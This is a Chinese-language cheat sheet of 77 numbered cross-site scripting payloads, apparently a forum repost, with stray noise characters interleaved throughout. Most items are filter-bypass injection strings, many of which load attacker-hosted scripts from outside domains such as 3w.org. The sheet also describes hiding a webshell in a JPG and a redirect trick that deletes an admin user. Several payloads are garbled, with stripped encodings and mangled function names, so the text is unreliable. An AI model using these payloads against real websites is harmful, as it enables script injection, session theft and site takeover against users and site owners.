跨站图片shell" l' s( L! y/ j) l9 \" }4 {1 q
XSS跨站代码 <script>alert("")</script> ?8 U; M E* l) x. [
* Z! x; Q" T3 c$ W6 P' m将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
i" m* m1 Z% d4 x+ n+ Y
! J& ?/ O- V$ N, {2 r+ N
B1 i, H- q. C ]6 I8 a) x8 o A4 b. G4 P
1)普通的XSS JavaScript注入
3 S4 D. B+ S9 s) }/ X. x0 a<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( q2 @4 I( K8 Q( N' M# b& G' k2 g" ?
(2)IMG标签XSS使用JavaScript命令
$ h& Q+ R# L! o, i9 W1 R; N<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( w# N& s4 { w1 K5 F+ _' j a+ p) V! {6 l+ X; N$ ?+ M; E% h, J8 r
(3)IMG标签无分号无引号
9 R- S. s* S; j a2 ?, m8 s<IMG SRC=javascript:alert(‘XSS’)>- x8 T4 ]6 y+ b" @8 _# z# z
1 g$ c2 l1 z/ c3 k0 D0 D3 a
(4)IMG标签大小写不敏感
( V6 a8 w; r% \% Y/ @2 N<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
' h G, U' \, z' v D4 ^: u0 O
B& N6 V0 v- R* C(5)HTML编码(必须有分号)3 g5 n" ?: I8 {5 e# C& ?! l
<IMG SRC=javascript:alert(“XSS”)>
- r! C0 D* ]/ Z/ V$ K5 i8 O% J( i1 f4 }9 |
(6)修正缺陷IMG标签
3 h' ^; T7 f4 q+ ?4 Q& f' g' l<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
2 i9 w3 n6 m) T2 ]; N* |! R: F
1 i# e7 y- _) `(7)formCharCode标签(计算器)
$ O+ i3 g5 R4 _<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>+ h+ i) G: ^) [3 \5 ~2 e' E5 m: T; D
! J$ r: ?9 g; J; r+ n. P" }- q
(8)UTF-8的Unicode编码(计算器), N O/ g+ Y: A4 {( I
<IMG SRC=jav..省略..S')>- L8 L2 F# x; s
& @4 L7 X4 u9 B! ]1 \2 i8 ~(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
/ {8 i! g u- o8 L1 k<IMG SRC=jav..省略..S')>4 V% k1 R4 k; {9 n# A3 U
# j: u1 I- f0 U2 a! J(10)十六进制编码也是没有分号(计算器)
/ M5 o* w; W/ a5 d o I( V# j<IMG SRC=java..省略..XSS')>8 I2 y; a4 N& R, c9 S8 b6 N
& r4 T2 B& Y( G0 [% }0 J) W* l(11)嵌入式标签,将Javascript分开( D1 v3 \1 c# D J; F0 ?
<IMG SRC=”jav ascript:alert(‘XSS’);”>% O! Y5 g, \) b* ^ y: o
' a% K/ \0 X5 _1 ^1 w& G
(12)嵌入式编码标签,将Javascript分开8 K* F8 b2 n- V. [) ]
<IMG SRC=”jav ascript:alert(‘XSS’);”>
% o8 D D5 _$ }) O+ L! n8 c
$ B, f% t& W" Y1 J(13)嵌入式换行符9 x; C' D3 u# x) Z; b, g+ z8 Y$ U
<IMG SRC=”jav ascript:alert(‘XSS’);”>/ J/ d& H; t6 s9 K7 e7 d# K, m; t
& g1 C9 u% u. E) c( X8 w) t
(14)嵌入式回车
9 W/ N% }3 r% u5 q$ T' {3 Q5 m' e<IMG SRC=”jav ascript:alert(‘XSS’);”>
" S5 F+ P4 V1 o
( c4 c+ V! y) I$ c% r& B( v(15)嵌入式多行注入JavaScript,这是XSS极端的例子' Q, p8 C9 a P8 f6 a' b s
<IMG SRC=”javascript:alert(‘XSS‘)”>
' ` K$ m! ] C1 ]
7 P8 T6 G. S3 M' Y(16)解决限制字符(要求同页面)
( r4 H' |) g9 D3 B5 g y<script>z=’document.’</script>1 G9 v5 I+ d8 Z) I( Q6 j
<script>z=z+’write(“‘</script>* S4 R5 o! N' ? ?8 F/ E
<script>z=z+’<script’</script>! N i" U% R8 F$ |. g Q
<script>z=z+’ src=ht’</script>, t, K0 W& O0 F
<script>z=z+’tp://ww’</script>3 [* P( ?# k, w) T
<script>z=z+’w.shell’</script>9 q6 I4 Y2 V j3 z, G0 {! k6 t4 ~
<script>z=z+’.net/1.’</script>" i1 Q# A8 r. X' n
<script>z=z+’js></sc’</script>
9 H' `. r, U" _<script>z=z+’ript>”)’</script>
* t' n( ?- t5 Y! g- T5 ]; E) I8 Z& n<script>eval_r(z)</script>
, z0 {+ i# @: k+ p1 t. [) Z. P D0 c- O3 Q @( R% Z3 `
(17)空字符# P/ c$ t- I/ x' _
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
6 k0 N; S4 N" P& E: U; E0 P" ^$ ?, [! \# M- K8 ]9 l
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用- X9 o6 J2 Q3 C- |/ u' E
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out- _& f4 \3 [ I( c) J
( O# C5 W* T) n( `) ?: l1 I* N(19)Spaces和meta前的IMG标签" M# S3 n- \9 p$ A% K
<IMG SRC=” javascript:alert(‘XSS’);”>
6 z% X8 ]' A3 p
1 D( d$ E* @% ^' M6 W% {(20)Non-alpha-non-digit XSS
8 S& q$ }; t2 K+ B- i7 o<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
! G7 u. q. k. u0 ?. F8 d% ?/ u' U/ N* |9 m% Z
(21)Non-alpha-non-digit XSS to 2
4 k3 i: A, P& O5 Q9 k3 M. `! p<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
' @4 Z3 r9 n' Q* T2 L5 M* ~0 G/ z, c
(22)Non-alpha-non-digit XSS to 37 Y* l2 h& `$ t$ \6 y
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
: C" I: y3 h' j4 h" E E4 n4 j1 Q8 @6 y5 \. n* v! j
(23)双开括号+ y6 Z: |$ f- c, F. }8 r
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
6 \0 Q3 A7 x! y6 {1 ^+ t& V( r% Q; ~* t
(24)无结束脚本标记(仅火狐等浏览器)
- W$ J- k) F- j) p* R+ ?# Y3 a" R3 m A# H<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>, r4 p0 e: m* ~9 r3 w& i
. K/ v# }7 ^: |# f: @
(25)无结束脚本标记2: z& S8 ?$ [4 h2 J, Z5 _
<SCRIPT SRC=//3w.org/XSS/xss.js>
9 t( J! R' f1 ~5 h5 _
) p8 _" Y7 ?: W2 ^: S(26)半开的HTML/JavaScript XSS
2 F. {0 }" b& e ?' ~+ z<IMG SRC=”javascript:alert(‘XSS’)”4 O5 D4 a' N+ V# T ^0 D
7 x; m( H& f9 M. b: W* f(27)双开角括号
8 W7 N% G0 q0 O<iframe src=http://3w.org/XSS.html <
7 d8 o. R/ F: s4 P' r1 N- M' A+ X" y* f, ~9 l$ K
(28)无单引号 双引号 分号
) T, M# x; f# E<SCRIPT>a=/XSS/9 ]9 G" ?, v3 V0 n7 Z+ t
alert(a.source)</SCRIPT>& i8 I# n- L6 c( v7 z
+ ~3 @. }' @ b* } Y
(29)换码过滤的JavaScript! l9 G+ A0 j6 R; k
\”;alert(‘XSS’);//9 _9 k! u) x: {/ r
% _ h6 N! U- O% R; a4 H5 d* s
(30)结束Title标签
+ T7 u0 T: I5 z# h' M0 H</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
- ?' S: ^3 j# `: U! t' i' w& z% v& c7 w1 p/ Y% u, I& J2 [
(31)Input Image: `* Q1 z5 j; ?9 l9 t" _) m
<INPUT SRC=”javascript:alert(‘XSS’);”>! q+ H9 C9 S$ ?9 j: B
( `3 Z4 H- L* b7 _+ p(32)BODY Image
& D. v$ z" X/ L4 @* M" s0 Y$ K<BODY BACKGROUND=”javascript:alert(‘XSS’)”>' e6 m* N1 {# Q/ V% k+ B9 R
9 {$ _8 ~, E* |+ a N( h(33)BODY标签
8 W, H. b1 K6 R, ]& k/ E0 a0 x<BODY(‘XSS’)>8 W/ }, Z3 M' o# ?& ]8 Y
& P6 _$ {1 u; Q2 n( j
(34)IMG Dynsrc, s% C0 @9 h y h8 Y* j
<IMG DYNSRC=”javascript:alert(‘XSS’)”>0 q9 z! c f( e1 A
6 P: {& ]3 E+ ^: |8 C6 c
(35)IMG Lowsrc1 ^- A$ m. J4 \
<IMG LOWSRC=”javascript:alert(‘XSS’)”>+ q" j' e J' A) N8 P' o3 j; o6 @
$ p6 R8 |; D5 W$ K
(36)BGSOUND' q. C6 w1 \; m% B2 ^! F
<BGSOUND SRC=”javascript:alert(‘XSS’);”>$ M% c' n$ X0 T$ r( d9 t d T0 |
# H& ^: |* A+ s% S8 Z6 K0 L(37)STYLE sheet( M1 I7 [, a; k0 O! Y
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
7 F+ N, W" H- \- h
$ t2 H* q' M/ ?6 t- C+ k9 `+ q(38)远程样式表5 c- ^# L. e! F( c5 K `
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>2 c6 l3 m1 E6 t9 g) k9 t, v! S
) R& J. P) ^. y; Z9 t(39)List-style-image(列表式)
( R. N0 e' i! p<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS2 M% T0 [8 ~5 V9 I5 D5 i
" o [+ l: B( i6 d* c9 q(40)IMG VBscript
+ [0 w* u ]: l/ L4 a3 T! {8 i& x<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
, g4 ?3 z2 r4 W9 ^5 |
6 O0 m3 W: ~! w# M$ {/ r0 U(41)META链接url2 c) Z0 H: v% t! L7 P+ L
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>& B2 y! u" {$ Y' L# Y1 s" o" P
3 a7 M: `9 m- F' m% c2 f% n x7 G0 j
(42)Iframe* N. X, p' U1 t, P, u- S
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
" \% y8 j. Z8 L5 j. X(43)Frame
" J6 J% M1 e' k; e<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET># q3 O. C3 Q. K$ X* ^
E8 k# O! C3 Z( F7 v* b(44)Table+ c4 J* P1 q) S+ N
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
! c: m& M3 A% P4 }: ~4 v
2 w% J( Z& l3 ~# w(45)TD: t" I& R% O. L3 Z4 ?
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>9 L9 L% ]2 m) F# D5 \& \
, a6 R1 N; a8 w$ v) r- M) Y
(46)DIV background-image
( w# A9 O1 ?1 q2 t/ L0 V<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>8 Z% J, ^. X6 c9 E& Y' S
9 I$ D0 d: [1 e4 t+ f9 ~/ u0 m(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
8 B3 V Q2 T3 ~* V w<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
" C1 |" k/ w7 u+ J2 \, F
5 T3 Q n! N. W; b) v(48)DIV expression
! @) q. h O P/ m- V<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
- m: \# ^6 U# k( U q$ V$ i; N
2 d4 ?" l1 [% P9 h2 i! f(49)STYLE属性分拆表达; u: I1 l/ b* {5 a
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
# p* ]9 S8 }( ~1 k/ G3 a9 D `* x- D' V1 Z. W
(50)匿名STYLE(组成:开角号和一个字母开头)+ w. `! J3 G) a
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
( p' }$ N1 w& y& Q8 I3 j* Z# X9 f+ M' V+ q4 h0 {7 [" A, S
(51)STYLE background-image5 L, C# [7 M+ l5 d) S& e' @ K. [
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
( U- m) m: v) z5 W; h% W1 \
1 {( j; d0 S" @3 g5 X9 q( d5 Y(52)IMG STYLE方式
- N; Y2 N1 F. R# I( y/ Texppression(alert(“XSS”))’>% e, S. b3 F* f: j( o2 x; ~/ L
' T6 v& B9 s6 N5 f0 Y
(53)STYLE background
5 B( \+ r+ z* {0 h" v' P! a0 q<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> y5 Z9 W# {# G- `" c' C# P
G* x3 c' j) B( j1 i
(54)BASE5 M: q$ b& @0 U% [
<BASE HREF=”javascript:alert(‘XSS’);//”>9 y' b: U+ \9 K" U
, t# [3 I( t7 e+ k5 V+ r(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
* I3 b- p# {( h# B# g6 Q<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>; K; ~5 s# V, R0 x" y( y
$ ^! x# I* P, t# c: j(56)在flash中使用ActionScrpt可以混进你XSS的代码
/ n) U4 u& d, ?( _9 a- ^. ca=”get”;
( t5 B$ |$ c+ z' `b=”URL(\”";8 h. W \$ Y. h/ |; j* Z
c=”javascript:”;: I' p4 L6 A/ S3 F" _
d=”alert(‘XSS’);\”)”;
2 M! f. d' L. H* u, K. q# c( P4 D9 C! U9 [eval_r(a+b+c+d);0 ]4 o3 w' u, K$ x
; [- n; S0 l% l# o(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上% |, w% d( T4 B7 Y3 E( B
<HTML xmlns:xss>& ~+ L" o( ^. p% S0 m; @6 t
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
$ h" F: F, V% }* j$ l. ~<xss:xss>XSS</xss:xss>
+ U& M4 r) u B6 p& Z6 P</HTML>" {" k( Y+ m# O- Y0 Q9 K
/ @$ m( {$ Q' A3 ?+ S" Y: F# t
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
+ V+ y! Z8 | ?6 X- {" V4 e<SCRIPT SRC=””></SCRIPT>
/ G5 x# R, a- A, n3 d. B' I8 T, z( G L, l! N" H
(59)IMG嵌入式命令,可执行任意命令
" }* l# A) a' J7 `( i<IMG SRC=”http://www.XXX.com/a.php?a=b”>
2 i7 {1 w! c2 a% A1 W' x; b) N& y: w( B4 s8 [) _7 b( j
(60)IMG嵌入式命令(a.jpg在同服务器)
; p" N& L; B8 b3 [, tRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
0 F! Q& I5 Q+ U6 t8 v! n6 r6 n7 ~. E7 G& U7 g6 J
(61)绕符号过滤$ r7 v* p7 i+ T% J
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
, X+ ^' C2 e+ o5 f2 W+ W
, w( \6 ^& ~1 J; I+ Z7 o(62)$ m2 b+ C; ~. H5 `
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
4 T0 \( x' M% R# [$ Q2 _# m( K! H2 d& N* ]2 h! u, [
(63)
4 u2 Z( W+ V* ]4 N. E<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>3 Q7 b) `* G7 h8 i
0 w' w; s% S1 I! u3 n/ x U! a(64)
+ E2 F$ e. _4 b$ a<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
4 O# o9 x! t" U P6 G
7 V: Y, ]$ r6 u) i" i(65)
7 _$ |* U7 C2 m! \& t1 f& m<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
$ x2 ?, [: K' b! s! f' G2 z2 x7 j+ g8 g
(66)8 W' z$ O! R/ P' {
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
& t; R7 q' ?2 a3 x. }3 T5 S" U; k* ~! O+ x8 M
(67)
7 u* X3 R) k) d! r7 Q% T1 O<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
9 J8 P/ v/ M& P
9 k) N# T/ H! V8 c$ v3 P(68)URL绕行 ?" }0 h6 Q& k! \+ b
<A HREF=”http://127.0.0.1/”>XSS</A>
! j2 A m$ V6 h7 Y" S4 i: X* \7 E% x0 j$ L9 |3 c! s
(69)URL编码
' |8 o% K# [2 Q. `<A HREF=”http://3w.org”>XSS</A>
& M( A! V1 g2 I# l3 C# q3 q! H5 g0 @) Q+ F7 M
(70)IP十进制/ n0 w1 I5 j1 e1 W1 M4 W
<A HREF=”http://3232235521″>XSS</A>8 {4 S" [( m/ e7 v7 ]) |# B9 t0 W
! c8 |9 N& h+ W3 Y3 ^( y
(71)IP十六进制+ i- C- y- u$ m* f
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
6 h5 C; k' j; s0 w4 w5 X. u% l1 \: \! {: U
(72)IP八进制
! W" r, s. w5 {& N7 P9 w% k0 g<A HREF=”http://0300.0250.0000.0001″>XSS</A>3 M+ _: {( U: f6 ~
2 y& g) Y& K* P) l! i1 [5 p$ {9 N
(73)混合编码9 g" S8 V0 B- X& m
<A HREF=”h
) [( l0 P! U5 U: O: Q$ `tt p://6 6.000146.0×7.147/”">XSS</A>8 `1 V4 x. g6 M: [
4 _& O5 P5 d2 P$ Q1 l* q(74)节省[http:]" u- _8 ?% \8 J. E/ c
<A HREF=”//www.google.com/”>XSS</A>3 O5 k1 M7 Y) a' W8 S) o
" r- |8 I# l" ?% D9 X9 G(75)节省[www]' }+ w# M) C2 i2 {* K, N$ u- P2 l
<A HREF=”http://google.com/”>XSS</A>, s4 u5 y' B3 \& t6 |! e4 {. M
" j2 ]3 G: \7 h9 N+ r6 i(76)绝对点绝对DNS
* q& i. I% h& Y<A HREF=”http://www.google.com./”>XSS</A>
0 p7 ] G9 g1 q( u. M
' F" p- X% w# X(77)javascript链接
" f0 e! g x* N* ]7 l1 P! k, c ?<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>0 A V0 N* J& F- Y
|